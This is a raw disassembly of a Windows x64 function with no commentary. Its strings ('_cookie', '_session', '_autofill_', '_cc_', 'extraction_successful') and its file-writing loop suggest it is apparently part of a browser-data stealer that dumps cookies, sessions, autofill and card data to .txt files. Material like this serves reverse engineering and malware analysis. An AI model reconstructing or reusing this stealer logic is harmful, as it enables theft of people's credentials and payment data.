cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 7
lea rdx, str._cookie
lea rcx, [rbp - 0x60]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140036800
nop
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c27
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001606c
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140016079
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.14003e940
nop
mov r8d, 1
lea rdx, [0x140291dcc]
lea rcx, [rbp + 0x40]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._session
lea rcx, [rbp - 0x80]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140036800
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
nop
lea rcx, [rbp + 0x40]
call fcn.140036800
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x20]
call fcn.140033ec0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x60]
call fcn.140033ec0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x190]
call fcn.14000e9e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x80]
call fcn.140033ec0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1d0]
call fcn.14000f380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov r8, qword [rbp + 0x18]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.14000fb70
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x20]
call fcn.140033ec0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x60]
call fcn.140033ec0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.1400105e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x80]
call fcn.140033ec0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1c0]
call fcn.140011680
nop
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c21
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016321
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, r14b
lea rcx, [rbp + 0x20]
call fcn.14003e940
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001635d
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 5
lea rdx, str._log_
lea rcx, [rbp - 0x60]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140036800
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c1b
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016412
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, sil
lea rcx, [rbp - 0x80]
call fcn.14003e940
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001644e
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._autofill_
lea rcx, [rsp + 0x58]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp - 0x80]
call fcn.140036800
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c15
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001650a
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.14003e940
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016545
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 4
lea rdx, str._cc_
lea rcx, [rbp - 0x60]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140036800
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c0f
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400165fa
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, dil
lea rcx, [rbp - 0x80]
call fcn.14003e940
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016636
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._cookie_
lea rcx, [rsp + 0x58]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp - 0x80]
call fcn.140036800
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.140037c40
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140037e70
nop
lea r8, str._sessions_
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140037cb0
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
nop
lea rcx, [rbp - 0x60]
call fcn.140036800
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xe0]
call fcn.14002f8d0
mov qword [rsp + 0x50], rax
lea r8, [0x140291dcc]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x30]
call fcn.140037c40
nop
lea r8, [rbp + 0x150]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140037e70
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140037cb0
nop
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140012880
nop
lea rcx, [rbp - 0x80]
call fcn.140036800
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.14002f8d0
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x30]
call fcn.140037d90
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140037cb0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140012d00
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xc0]
call fcn.14002f8d0
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x30]
call fcn.140037d90
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140037cb0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140013190
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xf0]
call fcn.14002f8d0
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x30]
call fcn.140037d90
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140037cb0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140013710
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
lea rax, [rbp + 0x100]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x100]
call fcn.14002f8d0
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140033ec0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x30]
call fcn.140037d90
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140037cb0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140014130
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
lea rdx, str.extraction_successful
lea rcx, [0x1402e4e30]
call fcn.140039e80
nop
lea rcx, [rbp + 0x3a0]
call fcn.140036800
nop
lea rcx, [rbp + 0x240]
call fcn.140036800
nop
lea rcx, [rbp + 0x260]
call fcn.140036800
nop
lea rcx, [rbp + 0x280]
call fcn.140036800
nop
lea rcx, [rbp + 0x2a0]
call fcn.140036800
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000f330
nop
lea rcx, [rbp + 0x1b0]
call fcn.14000f330
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000f330
nop
lea rcx, [rbp + 0x1d0]
call fcn.14000f330
nop
lea rcx, [rbp + 0x190]
call fcn.14000f330
nop
lea rcx, [rbp + 0x2c0]
call fcn.140036800
nop
lea rcx, [rbp + 0x2e0]
call fcn.140036800
nop
lea rcx, [rbp + 0x1e0]
call fcn.140036800
nop
lea rcx, [rbp + 0x300]
call fcn.140036800
nop
lea rcx, [rbp + 0x200]
call fcn.140036800
nop
lea rcx, [rbp + 0x3c0]
call fcn.1400366f0
nop
lea rcx, [rbp + 0x3e0]
call fcn.1400366f0
nop
lea rcx, [rbp + 0x170]
call fcn.1400366f0
nop
lea rcx, [rbp + 0x320]
call fcn.140036800
nop
lea rcx, [rbp + 0x340]
call fcn.140036800
nop
lea rcx, [rbp + 0x360]
call fcn.140036800
nop
lea rcx, [rbp + 0x400]
call fcn.140036800
nop
lea rcx, [rbp + 0x380]
call fcn.140036800
nop
lea rcx, [rbp + 0x220]
call fcn.1400366f0
nop
lea rcx, [rbp + 0x420]
call fcn.1400366f0
nop
lea rcx, [rbp + 0x150]
call fcn.140036800
mov rcx, qword [rbp + 0x70]
add rcx, 0x20
mov qword [rbp + 0x70], rcx
cmp rcx, qword [rbp + 0xb8]
jne 0x140014f20
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp]
mov rsi, qword [rbp + 0x18]
mov rdx, qword [rbp + 0xa0]
xor r14d, r14d
mov rcx, rdx
call fcn.140036570
nop
mov rcx, qword [rbp + 0xa8]
call fcn.140036800
nop
mov rcx, qword [rbp - 0x10]
call fcn.140036800
nop
mov rcx, qword [rbp + 0x68]
call fcn.1400366f0
nop
mov rcx, rdi
call fcn.140036800
nop
mov rcx, qword [rbp + 0xb0]
call fcn.140036800
nop
mov rcx, qword [rsi]
test rcx, rcx
je 0x140016bd8
mov rdx, qword [rsi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140016bc8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140016c09
mov rcx, r8
call fcn.1401ebf60
mov qword [rsi], r14
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov rcx, rbx
call fcn.140036800
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1401ebf40
add rsp, 0x558
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001f90
nop
call fcn.1402016f8
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
int3